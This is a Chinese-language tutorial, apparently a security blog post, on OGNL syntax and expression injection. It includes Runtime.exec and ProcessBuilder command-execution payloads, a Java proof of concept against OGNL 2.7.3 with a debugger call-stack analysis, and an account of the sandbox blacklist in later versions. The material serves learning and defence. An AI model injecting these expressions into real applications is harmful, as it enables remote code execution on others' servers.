目录

参考

https://boogipop.com/2023/04/25/Struct2%20OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/

一文读懂OGNL漏洞 - 先知社区 (aliyun.com)

Java安全学习—表达式注入 - FreeBuf网络安全行业门户

OGNL基础

OGNL三要素

expression表达式:表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作; root根对象:OGNL的Root对象可以理解为OGNL的操作对象。当OGNL通过表达式规定了“干什么”以后,还需要指定对谁进行操作; context上下文对象:context以MAP的结构、利用键值对关系来描述对象中的属性以及值,称之为OgnlContext,可以理解为对象运行的上下文环境,其实就是规定OGNL的操作在哪里。

demo

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class OGNL {
    public static void main(String[] args) throws OgnlException {
        Tester tester = new Tester();
        User gkjzjh146 = new User("gkjzjh", "146");
        tester.setUser(gkjzjh146);
        //创建contex、设置root
        OgnlContext context=new OgnlContext();
        context.setRoot(tester);
        //设置表达式
        String expression="user.name";
        //解析表达式
        Object ognl= Ognl.parseExpression(expression);
        //调用获取值
        Object value = Ognl.getValue(ognl, context, context.getRoot());
        System.out.println(value);
    }
}


public class Tester {
    public User user;

    public User getUser() {
        return user;
    }

    public void setUser(User user) {
        this.user = user;
    }
}
public class User {
    public String name;
    public String age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    public User() {
    }

    public User(String name, String age) {
        this.name = name;
        this.age = age;
    }
}

image-20230905142011104

运行上述代码即可获取Tester.user.name的值,注意是.user.name的值,上述我们是创建了一个tester,并且让他的user属性为一个User对象,表达式为user.name也就是获取tester的user属性的name属性。

OGNL语法

.操作符

就和上面第一个demo的作用一样,用于调用对象的属性和方法user.name

且上一个节点的结果作为下一个节点的上下文,如

(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a))

也可以换成逗号

(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))

它把前面表达式当作结果给后面表达式执行了

这里需要注意一下#前我们用括号包裹起来了,这是要符合语法

如果去掉括号就会报错

@操作符

  • @操作符:用于调用静态属性、静态方法、静态变量,如上述的@java.lang.Runtime@getRuntime().exec

#操作符

用于调用非root对象



import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class OGNL {
    public static void main(String[] args) throws OgnlException {
        Tester tester = new Tester();
        User gkjzjh146 = new User("gkjzjh", "146");
        tester.setUser(gkjzjh146);
        //创建contex、设置root
        OgnlContext context=new OgnlContext();
        //context.setRoot(tester);
        context.put("user",gkjzjh146);
        //设置表达式
        //String expression="(#a=new java.lang.String(\"calc\")).(@java.lang.Runtime@getRuntime().exec(#a))";
        String expression="#user.name";
        //解析表达式
        Object ognl= Ognl.parseExpression(expression);
        //调用获取值
        Object value = Ognl.getValue(ognl, context, context.getRoot());
        System.out.println(value);
    }
}

我们不加#也是会报错的

image-20230905141941789

因为它不是根对象

用于创建Map

#{"name": "gkjzjh146", "level": "caicai"}

用于定义变量

一开始的例子#a=new java.lang.String("calc"),定义了一个字符串常量

%操作符

%符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。

%{hacker.name}

$操作符

$在配置文件中引用OGNL表达式。

${name}

集合表达式

new创建实例:

new java.lang.String("testnew")

{}[]的用法:

在OGNL中,可以用{}或者它的组合来创建列表、数组和map,[]可以获取下标元素。

创建list:{value1,value2...}

{1,3,5}[1]

创建数组:new type[]{value1,value2...}

new int[]{1,3,5}[0]

创建map:#{key:value,key1:value1...}

#{"name":"xiaoming","school":"tsinghua"}["school"]

投影与选择

**投影:**选出集合当中的相同属性组合成一个新的集合。语法为 collection.{XXX},XXX 就是集合中每个元素的公共属性。 **选择:**选择就是选择出集合当中符合条件的元素组合成新的集合。语法为 collection.{Y XXX},其中 Y 是一个选择操作符,XXX 是选择用的逻辑表达式。选择操作符有 3 种: **? :**选择满足条件的所有元素 **^:**选择满足条件的第一个元素 **$:**选择满足条件的最后一个元素

User p1 = new User("name1", 11);
User p2 = new User("name2", 22);
User p3 = new User("name3", 33);
User p4 = new User("name4", 44);
Map<String, Object> context = new HashMap<String, Object>();
ArrayList<User> list = new ArrayList<User>();
list.add(p1);
list.add(p2);
list.add(p3);
list.add(p4);
context.put("list", list);
System.out.println(Ognl.getValue("#list.{age}", context, list));	
// [11, 22, 33, 44]
System.out.println(Ognl.getValue("#list.{age + '-' + name}", context, list));	
// [11-name1, 22-name2, 33-name3, 44-name4]
System.out.println(Ognl.getValue("#list.{? #this.age > 22}", context, list));	
// [User(name=name3, age=33, address=null), User(name=name4, age=44, address=null)]
System.out.println(Ognl.getValue("#list.{^ #this.age > 22}", context, list));	
// [User(name=name3, age=33, address=null)]
System.out.println(Ognl.getValue("#list.{$ #this.age > 22}", context, list));	
// [User(name=name4, age=44, address=null)]

OGNL命令执行

@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

OGNL低版本(2.7.3)

    <dependencies>
        <dependency>
            <groupId>ognl</groupId>
            <artifactId>ognl</artifactId>
            <version>2.7.3</version>
        </dependency>
    </dependencies>
import ognl.Ognl;
import ognl.OgnlContext;


public class ognlexp {

    public static void main(String[] args) throws Exception {

        // 创建一个 OGNL 上下文对象.
        OgnlContext ognlContext = new OgnlContext();

        // 触发 getValue.
        Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", ognlContext, ognlContext.getRoot());

        // 触发 setValue.
        //Ognl.setValue(Runtime.getRuntime().exec("calc"), ognlContext, ognlContext.getRoot());
    }
}

下面调试分析

Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, context.getRoot());

Ognl.getValue()处理表达式时,会先生成一个tree,这个tree本质是SimpleNode实例,树的每个节点都是一个ASTChain实例,ASTChain继承自SimpleNode。

image-20230905144428968

当调用node.getValue(ognlContext, root);时,会调用SimpleNode.getValue()进行处理,SimpleNode.getValue()会通过SimpleNode.evaluateGetValueBody()计算结果

image-20230905144512943

image-20230905144556977

SimpleNode.evaluateGetValueBody()在计算非常量情况的结果时会调用子类的getValueBody,Ognl在处理节点时分为多种情况进行处理:ASTChain、ASTConst、ASTCtor、ASTInstanceof、ASTList、ASTMethod、ASTStaticField、ASTStaticMethod等。

image-20230905145016708

首先这里最开始是一个ASTChain @java.lang.Runtime@getRuntime().exec("calc")ASTChain.getValueBody()在处理时,会迭代调用getValue处理子节点的结果,最终还是会调用ASTXXX方法处理节点的结果。

image-20230905145214592

protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
    Object result = source;
    int i = 0;
    // 迭代处理字子节点的结果
    for(int ilast = this._children.length - 1; i <= ilast; ++i) {
        boolean handled = false;
        ......
        if (!handled) {
            // 调用子节点的getValue方法处理
            result = this._children[i].getValue(context, result);
        }
    }

    return result;
}

当Ognl计算@java.lang.Runtime@getRuntime()时,由于方法是静态方法会调用ASTStaticMethod.getValueBodyASTStaticMethod.getValueBody通过OgnlRuntime.callStaticMethod处理方法的调用。

image-20230905145556007

通过OgnlRuntime.callAppropriateMethod()处理方法调用,最终会调用Method.invoke()进行方法调用并返回值。

调用栈:

getValueBody:92, ASTMethod (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValueBody:141, ASTChain (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValue:494, Ognl (ognl)
getValue:596, Ognl (ognl)
getValue:566, Ognl (ognl)
main:13, ognlexp

Ognl 3.2.18测试

Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测,会导致上面的实验失败,提示cannot be called from within OGNL invokeMethod() under stricter invocation mode,在使用StricterInvocation模式下不允许执行java.lang.Runtime.getRuntime()

对比上面2.7.3版本,在OgnlRuntime.invokeMethod中,添加了黑名单判断,当命中黑名单会出现报错:ClassResolverMethodAccessorMemberAccessOgnlContextRuntimeClassLoaderProcessBuilder等。

public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
    if (_useStricterInvocation) {
        Class methodDeclaringClass = method.getDeclaringClass();
        if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
            throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
        }
    }

    ......
        result = invokeMethodInsideSandbox(target, method, argsArray);
    }

    return result;
}